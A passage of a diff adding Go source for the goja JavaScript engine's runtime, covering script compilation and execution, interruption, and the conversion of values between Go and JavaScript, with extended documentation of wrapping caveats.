src, strict) + if err != nil { + panic(err) + } + + return prg +} + +// Parse takes a source string and produces a parsed AST. Use this function if you want to pass options +// to the parser, e.g.: +// +// p, err := Parse("test.js", "var a = true", parser.WithDisableSourceMaps) +// if err != nil { /* ... */ } +// prg, err := CompileAST(p, true) +// // ... +// +// Otherwise use Compile which combines both steps. +func Parse(name, src string, options ...parser.Option) (prg *js_ast.Program, err error) { + prg, err1 := parser.ParseFile(nil, name, src, 0, options...) + if err1 != nil { + // FIXME offset + err = &CompilerSyntaxError{ + CompilerError: CompilerError{ + Message: err1.Error(), + }, + } + } + return +} + +func compile(name, src string, strict, inGlobal bool, evalVm *vm, parserOptions ...parser.Option) (p *Program, err error) { + prg, err := Parse(name, src, parserOptions...) + if err != nil { + return + } + + return compileAST(prg, strict, inGlobal, evalVm) +} + +func compileAST(prg *js_ast.Program, strict, inGlobal bool, evalVm *vm) (p *Program, err error) { + c := newCompiler() + + defer func() { + if x := recover(); x != nil { + p = nil + switch x1 := x.(type) { + case *CompilerSyntaxError: + err = x1 + default: + panic(x) + } + } + }() + + c.compile(prg, strict, inGlobal, evalVm) + p = c.p + return +} + +func (r *Runtime) compile(name, src string, strict, inGlobal bool, evalVm *vm) (p *Program, err error) { + p, err = compile(name, src, strict, inGlobal, evalVm, r.parserOptions...) + if err != nil { + switch x1 := err.(type) { + case *CompilerSyntaxError: + err = &Exception{ + val: r.builtin_new(r.getSyntaxError(), []Value{newStringValue(x1.Error())}), + } + case *CompilerReferenceError: + err = &Exception{ + val: r.newError(r.getReferenceError(), x1.Message), + } // TODO proper message + } + } + return +} + +// RunString executes the given string in the global context. +func (r *Runtime) RunString(str string) (Value, error) { + return r.RunScript("", str) +} + +// RunScript executes the given string in the global context. +func (r *Runtime) RunScript(name, src string) (Value, error) { + p, err := r.compile(name, src, false, true, nil) + + if err != nil { + return nil, err + } + + return r.RunProgram(p) +} + +func isUncatchableException(e error) bool { + for ; e != nil; e = errors.Unwrap(e) { + if _, ok := e.(uncatchableException); ok { + return true + } + } + return false +} + +func asUncatchableException(v interface{}) error { + switch v := v.(type) { + case uncatchableException: + return v + case error: + if isUncatchableException(v) { + return v + } + } + return nil +} + +// RunProgram executes a pre-compiled (see Compile()) code in the global context. +func (r *Runtime) RunProgram(p *Program) (result Value, err error) { + vm := r.vm + recursive := len(vm.callStack) > 0 + defer func() { + if recursive { + vm.sp -= 2 + vm.popCtx() + } else { + vm.callStack = vm.callStack[:len(vm.callStack)-1] + } + if x := recover(); x != nil { + if ex := asUncatchableException(x); ex != nil { + err = ex + if len(vm.callStack) == 0 { + r.leaveAbrupt() + } + } else { + panic(x) + } + } + }() + if recursive { + vm.pushCtx() + vm.stash = &r.global.stash + vm.privEnv = nil + vm.newTarget = nil + vm.args = 0 + sp := vm.sp + vm.stack.expand(sp + 1) + vm.stack[sp] = _undefined // 'callee' + vm.stack[sp+1] = nil // 'this' + vm.sb = sp + 1 + vm.sp = sp + 2 + } else { + vm.callStack = append(vm.callStack, context{}) + } + vm.prg = p + vm.pc = 0 + vm.result = _undefined + ex := vm.runTry() + if ex == nil { + result = r.vm.result + } else { + err = ex + } + if recursive { + vm.clearStack() + } else { + vm.prg = nil + vm.sb = -1 + r.leave() + } + return +} + +// CaptureCallStack appends the current call stack frames to the stack slice (which may be nil) up to the specified depth. +// The most recent frame will be the first one. +// If depth <= 0 or more than the number of available frames, returns the entire stack. +// This method is not safe for concurrent use and should only be called by a Go function that is +// called from a running script. +func (r *Runtime) CaptureCallStack(depth int, stack []StackFrame) []StackFrame { + l := len(r.vm.callStack) + var offset int + if depth > 0 { + offset = l - depth + 1 + if offset < 0 { + offset = 0 + } + } + if stack == nil { + stack = make([]StackFrame, 0, l-offset+1) + } + return r.vm.captureStack(stack, offset) +} + +// Interrupt a running JavaScript. The corresponding Go call will return an *InterruptedError containing v. +// If the interrupt propagates until the stack is empty the currently queued promise resolve/reject jobs will be cleared +// without being executed. This is the same time they would be executed otherwise. +// Note, it only works while in JavaScript code, it does not interrupt native Go functions (which includes all built-ins). +// If the runtime is currently not running, it will be immediately interrupted on the next Run*() call. +// To avoid that use ClearInterrupt() +func (r *Runtime) Interrupt(v interface{}) { + r.vm.Interrupt(v) +} + +// ClearInterrupt resets the interrupt flag. Typically this needs to be called before the runtime +// is made available for re-use if there is a chance it could have been interrupted with Interrupt(). +// Otherwise if Interrupt() was called when runtime was not running (e.g. if it had already finished) +// so that Interrupt() didn't actually trigger, an attempt to use the runtime will immediately cause +// an interruption. It is up to the user to ensure proper synchronisation so that ClearInterrupt() is +// only called when the runtime has finished and there is no chance of a concurrent Interrupt() call. +func (r *Runtime) ClearInterrupt() { + r.vm.ClearInterrupt() +} + +/* +ToValue converts a Go value into a JavaScript value of a most appropriate type. Structural types (such as structs, maps +and slices) are wrapped so that changes are reflected on the original value which can be retrieved using Value.Export(). + +WARNING! These wrapped Go values do not behave in the same way as native ECMAScript values. If you plan to modify +them in ECMAScript, bear in mind the following caveats: + +1. If a regular JavaScript Object is assigned as an element of a wrapped Go struct, map or array, it is +Export()'ed and therefore copied. This may result in an unexpected behaviour in JavaScript: + + m := map[string]interface{}{} + vm.Set("m", m) + vm.RunString(` + var obj = {test: false}; + m.obj = obj; // obj gets Export()'ed, i.e. copied to a new map[string]interface{} and then this map is set as m["obj"] + obj.test = true; // note, m.obj.test is still false + `) + fmt.Println(m["obj"].(map[string]interface{})["test"]) // prints "false" + +2. Be careful with nested non-pointer compound types (structs, slices and arrays) if you modify them in +ECMAScript. Better avoid it at all if possible. One of the fundamental differences between ECMAScript and Go is in +the former all Objects are references whereas in Go you can have a literal struct or array. Consider the following +example: + + type S struct { + Field int + } + + a := []S{{1}, {2}} // slice of literal structs + vm.Set("a", &a) + vm.RunString(` + let tmp = {Field: 1}; + a[0] = tmp; + a[1] = tmp; + tmp.Field = 2; + `) + +In ECMAScript one would expect a[0].Field and a[1].Field to be equal to 2, but this is really not possible +(or at least non-trivial without some complex reference tracking). + +To cover the most common use cases and to avoid excessive memory allocation, the following 'copy-on-change' mechanism +is implemented (for both arrays and structs): + +* When a nested compound value is accessed, the returned ES value becomes a reference to the literal value. +This ensures that things like 'a[0].Field = 1' work as expected and simple access to 'a[0].Field' does not result +in copying of a[0]. + +* The original container ('a' in our case) keeps track of the returned reference value and if a[0] is reassigned +(e.g. by direct assignment, deletion or shrinking the array) the old a[0] is copied and the earlier returned value +becomes a reference to the copy: + + let tmp = a[0]; // no copy, tmp is a reference to a[0] + tmp.Field = 1; // a[0].Field === 1 after this + a[0] = {Field: 2}; // tmp is now a reference to a copy of the old value (with Field === 1) + a[0].Field === 2 && tmp.Field === 1; // true + +* Array value swaps caused by in-place sort (using Array.prototype.sort()) do not count as re-assignments, instead +the references are adjusted to point to the new indices. + +* Assignment to an inner compound value always does a copy (and sometimes type conversion): + + a[1] = tmp; // a[1] is now a copy of tmp + tmp.Field = 3; // does not affect a[1].Field + +3. Non-addressable structs, slices and arrays get copied. This sometimes may lead to a confusion as assigning to +inner fields does not appear to work: + + a1 := []interface{}{S{1}, S{2}} + vm.Set("a1", &a1) + vm.RunString(` + a1[0].Field === 1; // true + a1[0].Field = 2; + a1[0].Field === 2; // FALSE, because what it really did was copy a1[0] set its Field to 2 and immediately drop it + `) + +An alternative would be making a1[0].Field a non-writable property which would probably be more in line with +ECMAScript, however it would require to manually copy the value if it does need to be modified which may be +impractical. + +Note, the same applies to slices. If a slice is passed by value (not as a pointer), resizing the slice does not reflect on the original +value. Moreover, extending the slice may result in the underlying array being re-allocated and copied. +For example: + + a := []interface{}{1} + vm.Set("a", a) + vm.RunString(`a.push(2); a[0] = 0;`) + fmt.Println(a[0]) // prints "1" + +Notes on individual types: + +# Primitive types + +Primitive types (numbers, string, bool) are converted to the corresponding JavaScript primitives. These values +are goroutine-safe and can be transferred between runtimes. + +# *big.Int + +A *big.Int value is converted to a BigInt value. Note, because BigInt is immutable, but *big.Int isn't, the value is +copied. Export()'ing this value returns a *big.Int which is also a copy. + +If the pointer value is nil, the resulting BigInt is 0n. + +# Strings + +Because of the difference in internal string representation between ECMAScript (which uses UTF-16) and Go (which uses +UTF-8) conversion from JS to Go may be lossy. In particular, code points that can be part of UTF-16 surrogate pairs +(0xD800-0xDFFF) cannot be represented in UTF-8 unless they form a valid surrogate pair and are replaced with +utf8.RuneError. + +The string value must be a valid UTF-8. If it is not, invalid characters are replaced with utf8.RuneError, but +the behaviour of a subsequent Export() is unspecified (it may return the original value, or a value with replaced +invalid characters). + +# Nil + +Nil is converted to null. + +# Functions + +func(FunctionCall) Value is treated as a native JavaScript function. This increases performance because there are no +automatic argument and return value type conversions (which involves reflect). Attempting to use +the function as a constructor will result in a TypeError. Note: implementations must not retain and use references +to FunctionCall.Arguments after the function returns. + +func(FunctionCall, *Runtime) Value is treated as above, except the *Runtime is also passed as a parameter. + +func(ConstructorCall) *Object is treated as a native constructor, allowing to use it with the new +operator: + + func MyObject(call goja.ConstructorCall) *goja.Object { + // call.This contains the newly created object as per http://www.ecma-international.org/ecma-262/5.1/index.html#sec-13.2.2 + // call.Arguments contain arguments passed to the function + + call.This.Set("method", method) + + //... + + // If return value is a non-nil *Object, it will be used instead of call.This + // This way it is possible to return a Go struct or a map converted + // into goja.Value using ToValue(), however in this case + // instanceof will not work as expected, unless you set the prototype: + // + // instance := &myCustomStruct{} + // instanceValue := vm.ToValue(instance).(*Object) + // instanceValue.SetPrototype(call.This.Prototype()) + // return instanceValue + return nil + } + + runtime.Set("MyObject", MyObject) + +Then it can be used in JS as follows: + + var o = new MyObject(arg); + var o1 = MyObject(arg); // same thing + o instanceof MyObject && o1 instanceof MyObject; // true + +When a native constructor is called directly (without the new operator) its behavior depends on +this value: if it's an Object, it is passed through, otherwise a new one is created exactly as +if it was called with the new operator. In either case call.NewTarget will be nil. + +func(ConstructorCall, *Runtime) *Object is treated as above, except the *Runtime is also passed as a parameter. + +Any other Go function is wrapped so that the arguments are automatically converted into the required Go types and the +return value is converted to a JavaScript value (using this method). If conversion is not possible, a TypeError is +thrown. + +Functions with multiple return values return an Array. If the last return value is an `error` it is not returned but +converted into a JS exception. If the error is *Exception, it is thrown as is, otherwise it's wrapped in a GoEerror. +Note that if there are exactly two return values and the last is an `error`, the function returns the first value as is, +not an Array. + +# Structs + +Structs are converted to Object-like values. Fields and methods are available as properties, their values are +results of this method (ToValue()) applied to the corresponding Go value. + +Field properties are writable and non-configurable. Method properties are non-writable and non-configurable. + +Attempt to define a new property or delete an existing property will fail (throw in strict mode) unless it's a Symbol +property. Symbol properties only exist in the wrapper and do not affect the underlying Go value. +Note that because a wrapper is created every time a property is accessed it may lead to unexpected results such as this: + + type Field struct{ + } + type S struct { + Field *Field + } + var s = S{ + Field: &Field{}, + } + vm := New() + vm.Set("s", &s) + res, err := vm.RunString(` + var sym = Symbol(66); + var field1 = s.Field; + field1[sym] = true; + var field2 = s.Field; + field1 === field2; // true, because the equality operation compares the wrapped values, not the wrappers + field1[sym] === true; // true + field2[sym] === undefined; // also true + `) + +The same applies to values from maps and slices as well. + +# Handling of time.Time + +time.Time does not get special treatment and therefore is converted just like any other `struct` providing access to +all its methods. This is done deliberately instead of converting it to a `Date` because these two types are not fully +compatible: `time.Time` includes zone, whereas JS `Date` doesn't. Doing the conversion implicitly therefore would +result in a loss of information. + +If you need to convert it to a `Date`, it can be done either in JS: + + var d = new Date(goval.UnixNano()/1e6); + +... or in Go: + + now := time.Now() + vm := New() + val, err := vm.New(vm.Get("Date").ToObject(vm), vm.ToValue(now.UnixNano()/1e6)) + if err != nil { + ... + } + vm.Set("d", val) + +Note that Value.Export() for a `Date` value returns time.Time in local timezone. + +# Maps + +Maps with string, integer, or float key types are converted into host objects that largely behave like a JavaScript Object. +One noticeable difference is that the key order is not stable, as with maps in Go. +Keys are converted to strings following the fmt.Sprintf("%v") convention. + +# Maps with methods + +If a map type has at least one method defined, the properties of the resulting Object represent methods, not map keys. +This is because in JavaScript there is no distinction between 'object.key` and `object[key]`, unlike Go. +If access to the map values is required, it can be achieved by defining another method or, if it's not possible, by +defining an external getter function. + +# Slices + +Slices are converted into host objects that behave largely like JavaScript Array. It has the appropriate +prototype and all the usual methods should work. There is, however, a caveat: converted Arrays may not contain holes +(because Go slices cannot). This means that hasOwnProperty(n) always returns `true` if n < length. Deleting an item with +an index < length will set it to a zero value (but the property will remain). Nil slice elements are be converted to +`null`. Accessing an element beyond `length` returns `undefined`. Also see the warning above about passing slices as +values (as opposed to pointers). + +# Arrays + +Arrays are converted similarly to slices, except the resulting Arrays are not resizable (and therefore the 'length' +property is non-writable). + +Any other type is converted to a generic reflect based host object. Depending on the underlying type it behaves similar +to a Number, String, Boolean or Object. + +Note that the underlying type is not lost, calling Export() returns the original Go value. This applies to all +reflect based types. +*/ +func (r *Runtime) ToValue(i interface{}) Value { + return r.toValue(i, reflect.Value{}) +} + +func (r *Runtime) toValue(i interface{}, origValue reflect.Value) Value { + switch i := i.(type) { + case nil: + return _null + case *Object: + if i == nil || i.self == nil { + return _null + } + if i.runtime != nil && i.runtime != r { + panic(r.NewTypeError("Illegal runtime transition of an Object")) + } + return i + case valueContainer: + return i.toValue(r) + case Value: + return i + case string: + if len(i) <= 16 { + if u := unistring.Scan(i); u != nil { + return &importedString{s: i, u: u, scanned: true} + } + return asciiString(i) + } + return &importedString{s: i} + case bool: + if i { + return valueTrue + } else { + return valueFalse + } + case func(FunctionCall) Value: + name := unistring.NewFromString(runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()) + return r.newNativeFunc(i, name, 0) + case func(FunctionCall, *Runtime) Value: + name := unistring.NewFromString(runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()) + return r.newNativeFunc(func(call FunctionCall) Value { + return i(call, r) + }, name, 0) + case func(ConstructorCall) *Object: + name := unistring.NewFromString(runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()) + return r.newNativeConstructor(i, name, 0) + case func(ConstructorCall, *Runtime) *Object: + name := unistring.NewFromString(runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()) + return r.newNativeConstructor(func(call ConstructorCall) *Object { + return i(call, r) + }, name, 0) + case int: + return intToValue(int64(i)) + case int8: + return intToValue(int64(i)) + case int16: + return intToValue(int64(i)) + case int32: + return intToValue(int64(i)) + case int64: + return intToValue(i) + case uint: + if uint64(i) <= math.MaxInt64 { + return intToValue(int64(i)) + } else { + return floatToValue(float64(i)) + } + case uint8: + return intToValue(int64(i)) + case uint16: + return intToValue(int64(i)) + case uint32: + return intToValue(int64(i)) + case uint64: + if i <= math.MaxInt64 { + return intToValue(int64(i)) + } + return floatToValue(float64(i)) + case float32: + return floatToValue(float64(i)) + case float64: + return floatToValue(i) + case *big.Int: + v := new(big.Int) + if i != nil { + v.Set(i) + } + return (*valueBigInt)(v) + case map[string]interface{}: + if i == nil { + return _null + } + obj := &Object{runtime: r} + m := &objectGoMapSimple{ + baseObject: baseObject{ + val: obj, + extensible: true, + }, + data: i, + } + obj.self = m + m.init() + return obj + case []interface{}: + return r.newObjectGoSlice(&i, false).val + case *[]interface{}: + if i == nil { + return _null + } + return r.newObjectGoSlice(i, true).val + } + + if !origValue.IsValid() { + origValue = reflect.ValueOf(i) + } + + value := origValue + for value.Kind() == reflect.Ptr { + value = value.Elem() + } + + if !value.IsValid() { + return _null + } + + switch value.Kind() { + case reflect.Map: + if value.Type().NumMethod() == 0 { + switch value.Type().Key().Kind() { + case reflect.String, reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64, + reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, + reflect.Float64, reflect.Float32: + + obj := &Object{runtime: r} + m := &objectGoMapReflect{ + objectGoReflect: objectGoReflect{ + baseObject: baseObject{ + val: obj, + extensible: true, + }, + origValue: origValue, + fieldsValue: value, + }, + } + m.init() + obj.self = m + return obj + } + } + case reflect.Array: + obj := &Object{runtime: r} + a := &objectGoArrayReflect{ + objectGoReflect: objectGoReflect{ + baseObject: baseObject{ + val: obj, + }, + origValue: origValue, + fieldsValue: value, + }, + } + a.init() + obj.self = a + return obj + case reflect.Slice: + obj := &Object{runtime: r} + a := &objectGoSliceReflect{ + objectGoArrayReflect: objectGoArrayReflect{ + objectGoReflect: objectGoReflect{ + baseObject: baseObject{ + val: obj, + }, + origValue: origValue, + fieldsValue: value, + }, + }, + } + a.init() + obj.self = a + return obj + case reflect.Func: + return r.newWrappedFunc(value) + } + + obj := &Object{runtime: r} + o := &objectGoReflect{ + baseObject: baseObject{ + val: obj, + }, + origValue: origValue, + fieldsValue: value, + } + obj.self = o + o.init() + return obj +} + +func (r *Runtime) wrapReflectFunc(value reflect.Value) func(FunctionCall) Value { + return func(call FunctionCall) Value { + typ := value.Type() + nargs := typ.NumIn() + var in []reflect.Value + + if l := len(call.Arguments); l < nargs { + // fill missing arguments with zero values + n := nargs + if typ.IsVariadic() { + n-- + } + in = make([]reflect.Value, n) + for i := l; i < n; i++ { + in[i] = reflect.Zero(typ.In(i)) + } + } else { + if l > nargs && !typ.IsVariadic() { + l = nargs + } + in = make([]reflect.Value, l) + } + + for i, a := range call.Arguments { + var t reflect.Type + + n := i + if n >= nargs-1 && typ.IsVariadic() { + if n > nargs-1 { + n = nargs - 1 + } + + t = typ.In(n).Elem() + } else if n > nargs-1 { // ignore extra arguments + break + } else { + t = typ.In(n) + } + + v := reflect.New(t).Elem() + err := r.toReflectValue(a, v, &objectExportCtx{}) + if err != nil { + panic(r.NewTypeError("could not convert function call parameter %d: %v", i, err)) + } + in[i] = v + } + + out := value.Call(in) + if len(out) == 0 { + return _undefined + } + + if last := out[len(out)-1]; last.Type() == reflectTypeError { + if !last.IsNil() { + err := last.Interface().(error) + if _, ok := err.(*Exception); ok { + panic(err) + } + if isUncatchableException(err) { + panic(err) + } + panic(r.NewGoError(err)) + } + out = out[:len(out)-1] + } + + switch len(out) { + case 0: + return _undefined + case 1: + return r.ToValue(out[0].Interface()) + default: + s := make([]interface{}, len(out)) + for i, v := range out { + s[i] = v.Interface() + } + + return r.ToValue(s) + } + } +} + +func (r *Runtime) toReflectValue(v Value, dst reflect.Value, ctx *objectExportCtx) error { + typ := dst.Type() + + if typ == typeValue { + dst.Set(reflect.ValueOf(v)) + return nil + } + + if typ == typeObject { + if obj, ok := v.(*Object); ok { + dst.Set(reflect.ValueOf(obj)) + return nil + } + } + + if typ == typeCallable { + if fn, ok := AssertFunction(v); ok { + dst.Set(reflect.ValueOf(fn)) + return nil + } + } + + et := v.ExportType() + if et == nil || et == reflectTypeNil { + dst.Set(reflect.Zero(typ)) + return nil + } + + kind := typ.Kind() + for i := 0; ; i++ { + if et.AssignableTo(typ) { + ev := reflect.ValueOf(exportValue(v, ctx)) + for ; i > 0; i-- { + ev = ev.Elem() + } + dst.Set(ev) + return nil + } + expKind := et.Kind() + if expKind == kind && et.ConvertibleTo(typ) || expKind == reflect.String && typ == typeBytes { + ev := reflect.ValueOf(exportValue(v, ctx)) + for ; i > 0; i-- { + ev = ev.Elem() + } + dst.Set(ev.Convert(typ)) + return nil + } + if expKind == reflect.Ptr { + et = et.Elem() + } else { + break + } + } + + if typ == typeTime { + if obj, ok := v.(*Object); ok { + if d, ok := obj.self.(*dateObject); ok { + dst.Set(reflect.ValueOf(d.time())) + return nil + } + } + if et.Kind() == reflect.String { + tme, ok := dateParse(v.String()) + if !ok { + return fmt.Errorf("could not convert string %v to %v", v, typ) + } + dst.Set(reflect.ValueOf(tme)) + return nil + } + } + + switch kind { + case reflect.String: + dst.Set(reflect.ValueOf(v.String()).Convert(typ)) + return nil + case reflect.Bool: + dst.Set(reflect.ValueOf(v.ToBoolean()).Convert(typ)) + return nil + case reflect.Int: + dst.Set(reflect.ValueOf(toInt(v)).Convert(typ)) + return nil + case reflect.Int64: + dst.Set(reflect.ValueOf(toInt64(v)).Convert(typ)) + return nil + case reflect.Int32: + dst.Set(reflect.ValueOf(toInt32(v)).Convert(typ)) + return nil + case reflect.Int16: + dst.Set(reflect.ValueOf(toInt16(v)).Convert(typ)) + return nil + case reflect.Int8: + dst.Set(reflect.ValueOf(toInt8(v)).Convert(typ)) + return nil + case reflect.Uint: + dst.Set(reflect.ValueOf(toUint(v)).Convert(typ)) + return nil + case reflect.Uint64: + dst.Set(reflect.ValueOf(toUint64(v)).Convert(typ)) + return nil + case reflect.Uint32: + dst.Set(reflect.ValueOf(toUint32(v)).Convert(typ)) + return nil + case reflect.Uint16: + dst.Set(reflect.ValueOf(toUint16(v)).Convert(typ)) + return nil + case reflect.Uint8: + dst.Set(reflect.ValueOf(toUint8(v)).Convert(typ)) + return nil + case reflect.Float64: + dst.Set(reflect.ValueOf(v.ToFloat()).Convert(typ)) + return nil + case reflect.Float32: + dst.Set(reflect.ValueOf(toFloat32(v)).Convert(typ)) + return nil + case reflect.Slice, reflect.Array: + if o, ok := v.(*Object); ok { + if v, exists := ctx.getTyped(o, typ); exists { + dst.Set(reflect.ValueOf(v)) + return nil + } + return o.self.exportToArrayOrSlice(dst, typ, ctx) + } + case reflect.Map: + if o, ok := v.(*Object); ok { + if v, exists := ctx.getTyped(o, typ); exists { + dst.Set(reflect.ValueOf(v)) + return nil + } + return o.self.exportToMap(dst, typ, ctx) + } + case reflect.Struct: + if o, ok := v.(*Object); ok { + t := reflect.PtrTo(typ) + if v, exists := ctx.getTyped(o, t); exists { + dst.Set(reflect.ValueOf(v).Elem()) + return nil + } + s := dst + ctx.putTyped(o, t, s.Addr().Interface()) + for i := 0; i < typ.NumField(); i++ { + field := typ.Field(i) + if ast.IsExported(field.Name) { + name := field.Name + if r.fieldNameMapper != nil { + name = r.fieldNameMapper.FieldName(typ, field) + } + var v Value + if field.Anonymous { + v = o + } else { + v = o.self.getStr(unistring.NewFromString(name), nil) + } + + if v != nil { + err := r.toReflectValue(v, s.Field(i), ctx) + if err != nil { + return fmt.Errorf("could not convert struct value %v to %v for field %s: %w", v, field.Type, field.Name, err) + } + } + } + } + return nil + } + case reflect.Func: + if fn, ok := AssertFunction(v); ok { + dst.Set(reflect.MakeFunc(typ, r.wrapJSFunc(fn, typ))) + return nil + } + case reflect.Ptr: + if o, ok := v.(*Object); ok { + if v, exists := ctx.getTyped(o, typ); exists { + dst.Set(reflect.ValueOf(v)) + return nil + } + } + if dst.IsNil() { + dst.Set(reflect.New(typ.Elem())) + } + return r.toReflectValue(v, dst.Elem(), ctx) + } + + return fmt.Errorf("could not convert %v to %v", v, typ) +} + +func (r *Runtime) wrapJSFunc(fn Callable, typ reflect.Type) func(args []reflect.Value) (results []reflect.Value) { + return func(args []reflect.Value) (results []reflect.Value) { + var jsArgs []Value + if len(args) > 0 { + if typ.IsVariadic() { + varArg := args[len(args)-1] + args = args[:len(args)-1] + jsArgs = make([]Value, 0, len(args)+varArg.Len()) + for _, arg := range args { + jsArgs = append(jsArgs, r.ToValue(arg.Interface())) + } + for i := 0; i < varArg.Len(); i++ { + jsArgs = append(jsArgs, r.ToValue(varArg.Index(i).Interface())) + } + } else { + jsArgs = make([]Value, len(args)) + for i, arg := range args { + jsArgs[i] = r.ToValue(arg.Interface()) + } + } + } + + numOut := typ.NumOut() + results = make([]reflect.Value, numOut) + res, err := fn(_undefined, jsArgs...) + if err == nil { + if numOut > 0 { + v := reflect.New(typ.Out(0)).Elem() + err = r.toReflectValue(res, v, &objectExportCtx{}) + if err == nil { + results[0] = v + } + } + } + + if err != nil { + if numOut > 0 && typ.Out(numOut-1) == reflectTypeError { + if ex, ok := err.(*Exception); ok { + if exo, ok := ex.val.(*Object); ok { + if v := exo.self.getStr("value", nil); v != nil { + if v.ExportType().AssignableTo(reflectTypeError) { + err = v.Export().(error) + } + } + } + } + results[numOut-1] = reflect.ValueOf(err).Convert(typ.Out(numOut - 1)) + } else { + panic(err) + } + } + + for i, v := range results { + if !v.IsValid() { + results[i] = reflect.Zero(typ.Out(i)) + } + } + + return + } +} + +// ExportTo converts a JavaScript value into the specified Go value. The second parameter must be a non-nil pointer. +// Returns error if conversion is not possible. +// +// Notes on specific cases: +// +// # Empty interface +// +// Exporting to an interface{} results in a value of the same type as Value.Export() would produce. +// +// # Numeric types +// +// Exporting to numeric types uses the standard ECMAScript conversion operations, same as used when assigning +// values to non-clamped typed array items, e.g. https://262.ecma-international.org/#sec-toint32. +// +// # Functions +// +// Exporting to a 'func' creates a strictly typed 'gateway' into an ES function which can be called from Go. +// The arguments are converted into ES values using Runtime.ToValue(). If the func has no return values, +// the return value is ignored. If the func has exactly one return value, it is converted to the appropriate +// type using ExportTo(). If the last return value is 'error', exceptions are caught and returned as *Exception +// (instances of GoError are unwrapped, i.e. their 'value' is returned instead). In all other cases exceptions +// result in a panic. Any extra return values are zeroed. +// +// 'this' value will always be set to 'undefined'. +// +// For a more low-level mechanism see AssertFunction(). +// +// # Map types +// +// An ES Map can be exported into a Go map type. If any exported key value is non-hashable, the operation panics +// (as reflect.Value.SetMapIndex() would). Symbol.iterator is ignored. +// +// Exporting an ES Set into a map type results in the map being populated with (element) -> (zero value) key/value +// pairs. If any value is non-hashable, the operation panics (as reflect.Value.SetMapIndex() would). +// Symbol.iterator is ignored. +// +// Any other Object populates the map with own enumerable non-symbol properties. +// +// # Slice types +// +// Exporting an ES Set into a slice type results in its elements being exported. +// +// Exporting any Object that implements the iterable protocol (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#the_iterable_protocol) +// into a slice type results in the slice being populated with the results of the iteration. +// +// Array is treated as iterable (i.e. overwriting Symbol.iterator affects the result). +// +// If an object has a 'length' property and is not a function it is treated as array-like. The resulting slice +// will contain obj[0], ... obj[length-1]. +// +// ArrayBuffer and ArrayBuffer-backed types (i.e. typed arrays and DataView) can be exported into []byte. The result +// is backed by the original data, no copy is performed. +// +// For any other Object an error is returned. +// +// # Array types +// +// Anything that can be exported to a slice type can also be exported to an array type, as long as the lengths +// match. If they do not, an error is returned. +// +// # Proxy +// +// Proxy objects are treated the same way as if they were accessed from ES code in regard to their properties +// (such as 'length' or [Symbol.iterator]). This means exporting them to slice types works, however +// exporting a proxied Map into a map type does not produce its contents, because the Proxy is not recognised +// as a Map. Same applies to a proxied Set. +func (r *Runtime) ExportTo(v Value, target interface{}) error { + tval := reflect.ValueOf(target) + if tval.Kind() != reflect.Ptr || tval.IsNil() { + return errors.New("target must be a non-nil pointer") + } + return r.toReflectValue(v, tval.Elem(), &objectExportCtx{}) +} + +// GlobalObject returns the global object. +func (r *Runtime) GlobalObject() *Object { + return r.globalObject +} + +// SetGlobalObject sets the global object to the given object. +// Note, any existing references to the previous global object will continue to reference that object. +func (r *Runtime) SetGlobalObject(object *Object) { + r.globalObject = object +} + +// Set the specified variable in the global context. +// Equivalent to running "name = value" in non-strict mode. +// The value is first converted using ToValue(). +// Note, this is not the same as GlobalObject().Set(name, value), +// because if a global lexical binding (let or const) exists, it is set instead. +func (r *Runtime) Set(name string, value interface{}) error { + return r.try(func() { + name := unistring.NewFromString(name) + v := r.ToValue(value) + if ref := r.global.stash.getRefByName(name, false); ref != nil { + ref.set(v) + } else { + r.globalObject.self.setOwnStr(name, v, true) + } + }) +} + +// Get the specified variable in the global context. +// Equivalent to dereferencing a variable by name in non-strict mode. If variable is not defined returns nil. +// Note, this is not the same as GlobalObject().Get(name), +// because if a global lexical binding (let or const) exists, it is used instead. +// This method will panic with an *Exception if a JavaScript exception is thrown in the process. Use Runtime.Try to catch these. +func (r *Runtime) Get(name string) Value { + n := unistring.NewFromString(name) + if v, exists := r.global.stash.getByName(n); exists { + return v + } else { + return r.globalObject.self.getStr(n, nil) + } +} + +// SetRandSource sets random source for this Runtime. If not called, the default math/rand is used. +func (r *Runtime) SetRandSource(source RandSource) { + r.rand = source +} + +// SetTimeSource sets the current time source for this Runtime. +// If not called, the default time.Now() is used. +func (r *Runtime) SetTimeSource(now Now) { + r.now = now +} + +// SetParserOptions sets parser options to be used by RunString, RunScript and eval() within the code. +func (r *Runtime) SetParserOptions(opts ...parser.Option) { + r.parserOptions = opts +} + +// SetMaxCallStackSize sets the maximum function call depth. When exceeded, a *StackOverflowError is thrown and +// returned by RunProgram or by a Callable call. This is useful to prevent memory exhaustion caused by an +// infinite recursion. The default value is math.MaxInt32. +// This method (as the rest of the Set* methods) is not safe for concurrent use and may only be called +// from the vm goroutine or when the vm is not running. +func (r *Runtime) SetMaxCallStackSize(size int) { + r.vm.maxCallStackSize = size +} + +// New is an equivalent of the 'new' operator allowing to call it directly from Go. +func (r *Runtime) New(construct Value, args ...Value) (o *Object, err error) { + err = r.try(func() { + o = r.builtin_new(r.toObject(construct), args) + }) + return +} + +// Callable represents a JavaScript function that can be called from Go. +type Callable func(this Value, args ...Value) (Value, error) + +// AssertFunction checks if the Value is a function and returns a Callable. +// Note, for classes this returns a callable and a 'true', however calling it will always result in a TypeError. +// For classes use AssertConstructor(). +func AssertFunction(v Value) (Callable, bool) { + if obj, ok := v.(*Object); ok { + if f, ok := obj.self.assertCallable(); ok { + return func(this Value, args ...Value) (ret Value, err error) { + err = obj.runtime.runWrapped(func() { + ret = f(FunctionCall{ + This: this, + Arguments: args, + }) + }) + return + }, true + } + } + return nil, false +} + +// Constructor is a type that can be used to call constructors. The first argument (newTarget) can be nil +// which sets it to the constructor function itself. +type Constructor func(newTarget *Object, args ...Value) (*Object, error) + +// AssertConstructor checks if the Value is a constructor and returns a Constructor. +func AssertConstructor(v Value) (Constructor, bool) { + if obj, ok := v.(*Object); ok { + if ctor := obj.self.assertConstructor(); ctor != nil { + return func(newTarget *Object, args ...Value) (ret *Object, err error) { + err = obj.runtime.runWrapped(func() { + ret = ctor(args, newTarget) + }) + return + }, true + } + } + return nil, false +} + +func (r *Runtime) 